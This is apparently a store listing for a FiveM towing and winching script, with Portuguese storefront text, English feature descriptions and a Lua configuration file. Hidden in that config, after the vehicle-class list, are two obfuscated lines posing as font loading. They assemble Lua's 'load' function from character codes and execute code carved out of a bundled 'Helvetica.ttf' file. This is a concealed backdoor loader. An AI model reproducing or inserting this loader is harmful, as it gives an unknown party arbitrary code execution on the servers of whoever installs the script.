Kuz Towing & Winching
Kuz Towing & Winching - This FiveM Script enables seamless towing and winching of any vehicle. Compatible with ESX framework for FiveM servers.
Kuz Towing & Winching - This FiveM Script enables seamless towing and winching of any vehicle. Compatible with ESX framework for FiveM servers.
Use os dados publicados nesta página para confirmar se Kuz Towing & Winching é compatível com seu servidor antes do checkout.
Apenas os dados publicados nesta página devem ser considerados confirmados. Se você precisar de mais detalhes, revise a descrição, requisitos, histórico de alterações, avaliações e perguntas do produto antes do checkout.
esx, qbcore, qbox, standalone
Publicado nesta página
Disponível
Cartão, Klarna e carteiras compatíveis via Stripe. Outros métodos locais podem aparecer quando disponíveis na sua região.
Expectativa de suporte
O suporte cobre acesso ao download, arquivos entregues que estejam faltando e dúvidas com base nas notas de instalação publicadas.
Instalação personalizada, conversão de framework, configuração em servidor ao vivo e trabalho em recursos personalizados não estão incluídos, salvo quando indicado na página do produto.
Pergunte antes de comprar se seu servidor usa recursos de framework, inventário ou banco de dados muito modificados.
Use esta checklist para decidir rapidamente se o recurso combina com seu servidor, framework e expectativas de suporte.
Ganho para o administrador
Kuz Towing & Winching foi posicionado para reduzir Job Scripts, em vez de você reconstruir o mesmo sistema do zero.
Compatibilidade
Funciona com esx, qbcore, qbox, standalone. Verifique o bloco de requisitos antes de usar em um servidor ativo.
Confiança na compra
Download instantâneo, checkout Stripe, acesso ao suporte e contexto de reembolso são exibidos antes do pagamento.
Elementos de decisão
Requisitos, detalhes de instalação, Vídeo de pré-visualização, Perguntas do Produto
Bring realistic vehicle recovery and off-road rescue capabilities to your FiveM server with this comprehensive towing and winching script. Whether you're running a mechanic job, tow truck business, or just want to add immersive vehicle interaction, this script delivers the functionality you need with exceptional performance and flexibility across all major frameworks.
Built with server performance as a top priority:
Default blacklisted vehicle classes (configurable):
Standalone: Full support via commands (no framework needed)
ESX: Full integration with items and job restrictions
QBCore: Complete compatibility with QB item and job systems
QBOX: Works seamlessly as QBOX is QBCore-based
Unlike basic towing scripts that just attach vehicles, this system includes intelligent autopilot for empty vehicles, preventing unrealistic rope physics. The winching to world objects opens entirely new gameplay - stuck in mud? Winch to a tree. Vehicle rolled down a cliff? Use another vehicle as an anchor point. The configurable security system means you control exactly who can tow what, preventing abuse while maintaining roleplay realism.
Config = {}
Locale = {}
Config.Debug = false
-- Displayed text (Use these settings to translate to your language)
Locale.press_to_attach = 'Press to attach'
Locale.press_to_detach = 'Detach all ropes'
Locale.vehicles_locked = 'This vehicle is locked and therefore cannot be towed'
-- Enable or disable the use of command which opens up the towing menu
Config.useTowingCommand = false
-- Command that will open the towing menu if enabled (Without the slash /)
Config.towingCommand = 'towpls'
-- How long the towing rope should be (in meters) I highly recommend keeping it between 6 and 10 meters
Config.ropeLength = 15
-- Time in seconds, how long it should take between each re-sync of the ropes, (30 seconds works well, for big servers you can make it higher)
Config.ropeSyncDuration = 30
-- Max speed (in MPH) of vehicles which are towing or being towed (set to -1 to disable speed limiting)
Config.maxTowingSpeed = 300
-- Whether we should disallow players from attaching ropes to locked vehicles
-- (For example. To prevent them from stealing vehicles of other players)
Config.checkForLocks = true
---------- ESX Only Settings -----------
-- If your server is running on ESX you can enable it to use the towing rope item
Config.useEsx = false
-- You need to add the rope item to your database yourself !
Config.towRopeItem = 'towing_rope'
----------------------------------------
-- Classes of which vehicles may not be towed or tow another vehicle
Config.blacklistedClasses = {
8, -- Motorcycles
13, -- Cycles
14, -- Boats
15, -- Helicopters
16, -- Planes
21, -- Trains
}
--[[ All vehicle classes
0: Compacts
1: Sedans
2: SUVs
3: Coupes
4: Muscle
5: Sports Classics
6: Sports
7: Super
8: Motorcycles
9: Off-road
10: Industrial
11: Utility
12: Vans
13: Cycles
14: Boats
15: Helicopters
16: Planes
17: Service
18: Emergency
19: Military
20: Commercial
21: Trains
]]
local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
Safely tow vehicles with players still inside for realistic impound scenarios, or use advanced autopilot system that automatically steers and brakes unoccupied towed vehicles to prevent dangerous swaying
Winch to trees, rocks, bushes, and other world objects for authentic off-road recovery, or use vehicle-to-vehicle winching to pull stuck vehicles using another vehicle as an anchor point
Position tow ropes exactly where needed with intuitive attachment controls and configure rope length between 6-15 meters (10 meters recommended) for different towing scenarios
Works in standalone mode with command-based access, integrates with ESX for item-based systems and job restrictions, and supports QBCore with full item support and job-based permissions
Includes lock detection to prevent unauthorized towing of locked vehicles, anti-theft system to protect player-owned vehicles, job vehicle whitelist, and vehicle class blacklist for motorcycles, boats, aircraft, and other unsuitable vehicles
0 perguntas
Sem Perguntas
Seja o primeiro a fazer uma pergunta!
Learn more about setting up, configuring, and using this type of resource.

Choosing a framework is the single most consequential decision when building a FiveM server. It determines which scripts you can use, how your developers write code, the…

FiveM frameworks form the backbone of roleplay servers. They're not just code libraries—they're complete systems that manage player identity, jobs, inventory, permissions,…

QBox has firmly established itself as the natural successor to QBCore in the FiveM roleplay ecosystem.
Use este produto como parte de uma configuração maior. Explore categorias relacionadas, frameworks alternativos, pacotes premium e downloads gratuitos complementares.